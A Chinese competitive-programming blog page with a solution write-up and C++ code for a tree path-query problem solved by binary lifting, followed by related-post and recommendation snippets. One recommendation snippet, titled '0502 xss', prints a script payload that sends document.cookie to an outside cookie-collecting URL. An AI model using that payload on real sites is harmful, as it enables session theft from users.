题目传送门(内部题152)


输入格式

  第一行两个整数$N,Q$。
  接下来一行$N$个整数,第$i$个为$a_i$。
  接下来的$N-1$行,每行两个整数$u,v$。表示$u,v$之间有一条边。
  接下来的$Q$行,每行两个整数$u,v$。表示一组询问。


输出格式

  对于每个询问,输出一行一个整数表示答案。


样例

样例输入:

5 2
4 3 2 5 3
1 2
1 3
3 4
3 5
2 5
3 4

样例输出:

13
7


数据范围与提示

  每个测试点10$分,共$10$个测试点:

  对于所有的数据,有:$1\leqslant N,Q,0\leqslant a_i<323232323$


题解

题目没多难,用倍增维护父亲,每一位的前缀和,向上的答案即可。

我的打法跟正解不太一样,被卡空间了$\downarrow$

不过结果还是好的啦~

说来也神奇,晚上做了个梦,突然想到了一种优化方式;早上过来没多久就$A$啦,真的是做梦都在码代码。

时间复杂度:$\Theta(n\log n)$.。

期望得分:$100$分。

实际得分:$100$分。


代码时刻

#include<bits/stdc++.h>
#define int int_least32_t
using namespace std;
struct rec{int nxt,to;}e[600001];
struct node{int x,y,lca;}q[300001];
int head[600001],cnt;
int N,Q;
int a[600001];
int depth[600001],fa[600001][21];
pair<int,short> c[21];
int_least64_t val[600001][21],up[600001][21],ans[300001];
void dfs(int x)
{
for(int i=head[x];i;i=e[i].nxt)
{
if(depth[e[i].to])continue;
depth[e[i].to]=depth[x]+1;
fa[e[i].to][0]=x;
up[e[i].to][0]=a[e[i].to];
for(short j=1;j<21;j++)fa[e[i].to][j]=fa[fa[e[i].to][j-1]][j-1];
for(short j=0;j<21;j++)val[e[i].to][j]=val[x][j]+((a[e[i].to]&(1<<j))>0);
for(short j=1;j<21;j++)up[e[i].to][j]=up[e[i].to][j-1]+up[fa[e[i].to][j-1]][j-1]+1LL*(1<<(j-1))*((1<<(j-1))-val[fa[e[i].to][j-1]][j-1]+val[fa[e[i].to][j]][j-1]);
dfs(e[i].to);
}
}
void dfs(int x,int fat)
{
for(int i=head[x];i;i=e[i].nxt)
{
if(e[i].to==fat)continue;
up[e[i].to][0]=a[e[i].to];
for(short j=1;j<21;j++)up[e[i].to][j]=up[e[i].to][j-1]+up[fa[e[i].to][j-1]][j-1]+1LL*(1<<(j-1))*((1<<(j-1))-val[e[i].to][j-1]+val[fa[e[i].to][j-1]][j-1]);
dfs(e[i].to,x);
}
}
int get(int x,int dep){for(short i=0;i<21;i++)if(dep&(1<<i))x=fa[x][i];return x;}
int LCA(int x,int y)
{
if(depth[x]>depth[y])swap(x,y);
for(short i=20;i>=0;i--)
if(depth[fa[y][i]]>=depth[x])y=fa[y][i];
if(x==y)return x;
for(short i=20;i>=0;i--)
if(fa[x][i]!=fa[y][i])
{x=fa[x][i];y=fa[y][i];}
return fa[x][0];
}
long long ask1(int x,int y)
{
if(x==y)return 0;
long long res=0;
for(short i=19;i>=0;i--)
if(depth[fa[x][i]]>=depth[y])
{
res+=up[x][i];
x=fa[x][i];
res+=(depth[x]-depth[y]-(val[x][i]-val[y][i]))*(1<<i);
}
return res;
}
long long ask2(int x,int y)
{
if(x==y)return a[x];
if(depth[x]>depth[y])return 0;
short top=0;
long long res=0;
int now=y;
for(short i=0;i<21;i++)
if((depth[y]-depth[x]+1)&(1<<i))
{
c[++top]=make_pair(now,i);
now=fa[now][i];
}
for(short i=top;i;i--)
{
res+=up[c[i].first][c[i].second];
if(c[i].second)
res+=1LL*(1<<(c[i].second))*(depth[y]-depth[c[i].first]-(val[y][c[i].second]-val[c[i].first][c[i].second]));
}
return res;
}
int main()
{
scanf("%d%d",&N,&Q);
for(int i=1;i<=N;i++)scanf("%d",&a[i]);
for(int i=1;i<N;i++)
{
int x,y;
scanf("%d%d",&x,&y);
e[++cnt]=(rec){head[x],y};head[x]=cnt;
e[++cnt]=(rec){head[y],x};head[y]=cnt;
}
depth[N<<1]=1;
for(int x=N<<1;x>N+1;x--)
{
depth[x-1]=depth[x]+1;
fa[x-1][0]=x;
for(short j=1;j<21;j++)fa[x-1][j]=fa[fa[x-1][j-1]][j-1];
}
depth[1]=depth[N+1]+1;
fa[1][0]=N+1;
up[1][0]=a[1];
for(short j=1;j<21;j++)fa[1][j]=fa[fa[1][j-1]][j-1];
for(short j=0;j<21;j++)val[1][j]=val[N+1][j]+((a[1]&(1<<j))>0);
for(short j=1;j<21;j++)up[1][j]=up[1][j-1]+up[fa[1][j-1]][j-1]+1LL*(1<<(j-1))*((1<<(j-1))-val[fa[1][j-1]][j-1]+val[fa[1][j]][j-1]);
dfs(1);
for(int i=1;i<=Q;i++)
{
scanf("%d%d",&q[i].x,&q[i].y);
q[i].lca=LCA(q[i].x,q[i].y);
ans[i]=ask1(q[i].x,q[i].lca);
}
up[1][0]=a[1];
for(short j=1;j<21;j++)up[1][j]=up[1][j-1]+up[fa[1][j-1]][j-1]+1LL*(1<<(j-1))*((1<<(j-1))-val[1][j-1]+val[fa[1][j-1]][j-1]);
dfs(1,0);
for(int i=1;i<=Q;i++)
{
int res=get(q[i].lca,depth[q[i].x]-depth[q[i].lca]);
printf("%lld\n",ans[i]+ask2(res,q[i].y)-ask2(res,fa[q[i].lca][0]));
}
return 0;
}

rp++

[CSP-S模拟测试]:C(倍增+数学)的更多相关文章

  1. [CSP-S模拟测试]:不等式(数学)

    题目描述 小$z$热衷于数学.今天数学课的内容是解不等式:$L\leqslant S\times x\leqslant R$.小$z$心想这也太简单了,不禁陷入了深深的思考:假如已知$L,R,S,M$ ...

  2. [CSP-S模拟测试]:A(数学)

    题目传送门(内部题44) 输入格式 一行四个整数,分别表示$S,T,a,b$. 输出格式 输出最小步数,数据保证有解. 样例 样例输入: 10 28 4 2 样例输出: 数据范围与提示 样例解释: 先 ...

  3. [CSP-S模拟测试]:装饰(数学)

    题目传送门(内部题147) 输入格式 每个测试点第一行一个正整数$T$,表示该测试点内的数据组数. 接下来$T$行,每行三个非负整数$a,b,c$,含义如题目中所示. 输出格式 对每组数据输出一行一个 ...

  4. [CSP-S模拟测试]:最大值(数学+线段树)

    题目背景 $Maxtir$最喜欢最大值. 题目传送门(内部题128) 输入格式 第$1$行输入四个正整数$n,m,q$. 第$2$至$n+1$行中,第$i+1$行输入魔法晶石$i$的三种属性$(x_i ...

  5. [CSP-S模拟测试]:求和(数学)

    题目传送门(内部题107) 输入格式 一行五个正整数$x_1,y_1,x_2,y_2,m$ 输出格式 输出一个整数,为所求的答案对$m$取模后的结果. 样例 样例输入: 2 1 5 3 10007 样 ...

  6. [CSP-S模拟测试]:数列(数学)

    题目传送门(内部题95) 输入格式 第一行三个整数$n,a,b$,第二行$n$个整数$x_1\sim x_n$表示数列. 输出格式 一行一个整数表示答案.无解输出$-1$. 样例 样例输入:2 2 3 ...

  7. [CSP-S模拟测试]:Walker(数学)

    题目传送门(内部题86) 输入格式 第一行$n$接下来$n$行,每行四个浮点数,分别表示变换前的坐标和变换后的坐标 输出格式 第一行浮点数$\theta$以弧度制表示第二行浮点数$scale$第三行两 ...

  8. [CSP-S模拟测试]:Six(数学)

    题目传送门(内部题85) 输入格式 一个正整数$N$. 输出格式 一个数表示答案对$1000000007$取模后的结果 样例 样例输入1: 样例输出1: 样例输入2: 样例输出2: 样例输入3: 样例 ...

  9. [CSP-S模拟测试]:Smooth(数学)

    题目传送门(内部题84) 输入格式 两个整数$B,K$ 输出格式 一个整数表示答案 样例 样例输入: 5 100 样例输出: 数据范围与提示 对于$40\%$的数据,保证答案小于$10^7$对于另$2 ...

  10. [CSP-S模拟测试]:礼物(数学)

    题目传送门(内部题80) 输入格式 第一行输入一个正整数$n$. 第二行到第$n+1$行每行两个正整数$a_i$和$b_i$表示第$i$个礼物中包含$a_i$个红宝石和$b_i$个绿宝石. 输出格式 ...

随机推荐

  1. Advanced Installer 关于桌面的快捷方式。

    由于软件自动生成快捷方式,我发现桌面可以存在多个软件的快捷方式,因为快捷方式只要名字不同就可以存在多个,即使名字相同,只要备注不同,又可以存在多个. 那么由于软件自带生成快捷方式的功能,为了避免桌面出 ...

  2. SpringBoot 中aop整合方法执行日志

    今天事情不多, 处理完手中的事边想着捣鼓一下AOP, 着手开始写才发现, 多久不用, 自己已经忘得差不多了, 捣鼓半天之后, 慢慢整出这个小demo,以便于以后查阅回顾 1 .先创建一个注解, 用来作 ...

  3. 0502 xss

    playload <script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script&g ...

  4. paypal支付 NVP支付 paypal 手续费 GetTransactionDetails

    主要内容: 本文章主要讲解的是NVP的对接,以最简单的接口案例,讲解一下对接NVP的方案. 先提供下paypal 官方文档的主要功能对接说明,如下 1.请求API 服务器端点 描述 https://a ...

  5. vs code 开发小程序会用到的插件

    主要介绍一下几个vscode插件,在vscode中搜索插件关键字点击安装即可. 1) vscode weapp api,  语法结构api; 2) minapp-vscode 3) vscode wx ...

  6. ftp服务器终端登录后乱码处理方法

    首先在windows上用资源管理器登录看看会不会乱码,如果不会,说明是GBK编码 因为windows默认是GBK(936),linux默认(UTF-8) 因为FTP服务器我们修改不了,如果用linux ...

  7. shell变量引用

    var="www.sina.com.cn" echo ${var#*.} #sina.com.cn 从前向后删 echo ${var##*.} #.cn 贪婪模式从前向后删 ech ...

  8. Linux内核卸载和禁止更新

    注意:对于可以用好几条命令实现的,第一条命令已经验证,其他的命令参考自网上,没有进行验证. 查看Linux系统内核的命令有下面几条 dpkg --get-selections | grep linux ...

  9. 浅谈矩阵变换——Matrix

    矩阵变换在图形学上经常用到.基本的常用矩阵变换操作包括平移.缩放.旋转.斜切. 每种变换都对应一个变换矩阵,通过矩阵乘法,可以把多个变换矩阵相乘得到复合变换矩阵. 矩阵乘法不支持交换律,因此不同的变换 ...

  10. python_函数作用域

    py文件:全局作用域 函数:局部作用域 一个函数是一个作用域 def func(): x = 9 print(x) func() print(x) 作用域中查找数据规则:优先在自己的作用域找数据,自己 ...